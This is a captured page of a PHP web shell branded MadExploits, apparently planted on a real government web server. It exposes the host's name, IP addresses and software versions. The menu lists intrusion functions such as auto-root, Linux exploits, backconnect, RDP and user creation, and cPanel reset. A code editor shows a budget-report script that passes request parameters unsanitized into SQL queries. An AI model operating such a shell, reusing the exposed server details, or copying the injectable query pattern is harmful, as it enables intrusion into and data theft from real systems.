Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
plan /
check /
[ HOME SHELL ]
Name
Size
Permission
Action
building.php
3.6
KB
-rwxr-xr-x
check_1.php
7.23
KB
-rwxr-xr-x
check_1.php-1
6.67
KB
-rwxr-xr-x
check_1_mobile.php
6.63
KB
-rwxr-xr-x
check_2.php
8.8
KB
-rwxr-xr-x
check_3.php
12.64
KB
-rwxr-xr-x
livesearch.php
624
B
-rwxr-xr-x
receive_report.php
12.17
KB
-rwxr-xr-x
report_10.php
11.78
KB
-rwxr-xr-x
report_11.php
6.8
KB
-rwxr-xr-x
report_12.php
17.67
KB
-rwxr-xr-x
report_13.php
8.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_1.php-1
<br /> <div align="center"> <font color="#006666" size="3"><strong>รายงานการจัดสรรงบประมาณจำแนกตามโครงการ</strong></font></p> </div> <?php //ปีงบประมาณ $sql = "select * from plan_year where year_active='1' order by budget_year desc limit 1"; $dbquery = mysql_query($sql); $year_active_result = mysql_fetch_array($dbquery); if($year_active_result['budget_year']==""){ echo "<br />"; echo "<div align='center'>ยังไม่ได้กำหนดทำงานในปีงบประมาณใด ๆ กรุณาไปที่เมนูตั้งค่าระบบ เพื่อกำหนดปีงบประมาณ</div>"; exit(); } //กรณีเลือกปี if(isset($_REQUEST['year_index'])){ $year_index=$_REQUEST['year_index']; } else{ $year_index=$year_active_result['budget_year']; } //ตัวแปรกลุ่มงาน if(isset($_REQUEST['workgroup'])){ $workgroup=$_REQUEST['workgroup']; } else{ $workgroup=""; } if($workgroup!=""){ $sql = "select * from plan_proj where budget_year='$year_index' and code_clus='$workgroup' order by code_proj "; } else{ $sql = "select * from plan_proj where budget_year='$year_index' order by code_proj "; } $dbquery = mysql_query($sql); $rd=1; $sum_momey_proj=0; While ($result = mysql_fetch_array($dbquery)) { $code_clus_plan= $result['code_clus']; $code_proj_plan= $result['code_proj']; $name_proj_plan= $result['name_proj']; $budget_proj_plan= $result['budget_proj']; $sum_momey_proj=$sum_momey_proj+$budget_proj_plan; $owner_proj = $result['owner_proj']; $code_clus_plan_ar[$rd]=$code_clus_plan; $code_proj_plan_ar[$rd]=$code_proj_plan; $name_proj_plan_ar[$rd]=$name_proj_plan; $budget_proj_plan_ar[$rd]=$budget_proj_plan; $owner_proj_ar[$rd]=$owner_proj; $rd++; } $sql = "select * from plan_acti where budget_year='$year_index' order by code_acti"; $dbquery = mysql_query($sql); $re=1; While ($result = mysql_fetch_array($dbquery)) { $code_proj_acti= $result['code_proj']; $code_acti= $result['code_acti']; $name_acti= $result['name_acti']; $budget_acti= $result['budget_acti']; $budget_approve= $result['budget_approve']; $code_approve= $result['code_approve']; $code_proj_acti_ar[$re]=$code_proj_acti; $code_acti_ar[$re]=$code_acti; $name_acti_ar[$re]=$name_acti; $budget_acti_ar[$re]=$budget_acti; $budget_approve_ar[$re]=$budget_approve; $code_approve_ar[$re]=$code_approve; $re++; } //บุคคล $sql = "select * from person_main order by position_code,name"; $dbquery = mysql_query($sql); while ($result = mysql_fetch_array($dbquery)){ $person_ar[$result['person_id']]=$result['prename'].$result['name']." ".$result['surname']; } ////////////////// เลือกปีงบประมาณและกลุ่มงาน echo "<form name='frm1'>"; echo "<table width='95%' align='center'><tr><td align='right'>"; echo "ปีงบประมาณ "; echo "<Select name='year_index' size='1'>"; echo '<option value ="" >เลือก</option>' ; $sql_year = "SELECT * FROM plan_year order by budget_year"; $dbquery_year = mysql_query($sql_year); While ($result_year = mysql_fetch_array($dbquery_year)){ if($year_index==""){ if($result_year['year_active']==1){ echo "<option value=$result_year[budget_year] selected>$result_year[budget_year]</option>"; } else{ echo "<option value=$result_year[budget_year]>$result_year[budget_year]</option>"; } } else{ if($year_index==$result_year['budget_year']){ echo "<option value=$result_year[budget_year] selected>$result_year[budget_year]</option>"; } else{ echo "<option value=$result_year[budget_year]>$result_year[budget_year]</option>"; } } } echo "</select>"; echo " <Select name='workgroup' size='1'>"; echo '<option value ="" >ทุกกลุ่ม(งาน)</option>' ; $sql = "SELECT * FROM system_workgroup"; $dbquery = mysql_query($sql); While ($result = mysql_fetch_array($dbquery)) { if ($workgroup==$result['workgroup']){ echo "<option value=$result[workgroup] selected>$result[workgroup_desc]</option>"; } else{ echo "<option value=$result[workgroup]>$result[workgroup_desc]</option>"; } } echo "</select>"; echo " <INPUT TYPE='button' name='smb' value='เลือก' onclick='goto_url(1)' class=entrybutton>"; echo "</td></tr></table>"; echo "</form>"; ///////////////////// echo "<table width='95%' border='0' align='center'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='50'>ที่</Td><Td width='50'>รหัส</Td><Td width='70'>โครงการ</Td><Td>กิจกรรม</Td><Td width=120>งบประมาณ</Td><Td width='130'>แหล่งงบประมาณ</Td><Td width='100'>ผู้รับผิดชอบ</Td></Tr>"; $category=""; $type=""; for($i=1;$i<$rd;$i++) { $budget_proj_plan_ar[$i]=number_format($budget_proj_plan_ar[$i],2); echo "<Tr bgcolor=#FFFFC class=style1><Td align=center>$i</Td><Td>$code_proj_plan_ar[$i]</Td><Td colspan=2>$name_proj_plan_ar[$i]</Td><Td align=right><font color='#00FF00'>$budget_proj_plan_ar[$i]</font></Td><Td></Td><Td>"; $person=$owner_proj_ar[$i]; echo "$person_ar[$person]</Td></Tr>"; $acti_num=0; for($x=1;$x<$re;$x++) { if($code_proj_plan_ar[$i]==$code_proj_acti_ar[$x]) { $acti_num=$acti_num+1; $budget_acti=number_format($budget_acti_ar[$x],2); if($code_approve_ar[$x]!=""){ list($category,$type) = explode("_",$code_approve_ar[$x]); } if($category==2){ $type_text="งบประมาณงวด $type"; } else if($category==1){ $type_text="นอกงบประมาณ($type)"; } else{ $type_text=""; } echo "<Tr><Td ></Td><Td></Td><Td></Td><Td align=left>$code_acti_ar[$x] $name_acti_ar[$x]</Td><Td align=right>$budget_acti</Td><Td align='left'>$type_text</Td><Td></Td></Tr>"; } } } $sum_momey_proj=number_format($sum_momey_proj,2); echo "<Tr bgcolor='#FFCCCC' align='center'><Td></Td><Td></Td><Td></Td><Td>รวม</Td><Td>$sum_momey_proj</Td><Td></Td><Td></Td></Tr>"; echo "</Table>"; ?> <script> function goto_url(val){ callfrm("?option=plan&task=check/check_1"); } </script>
Close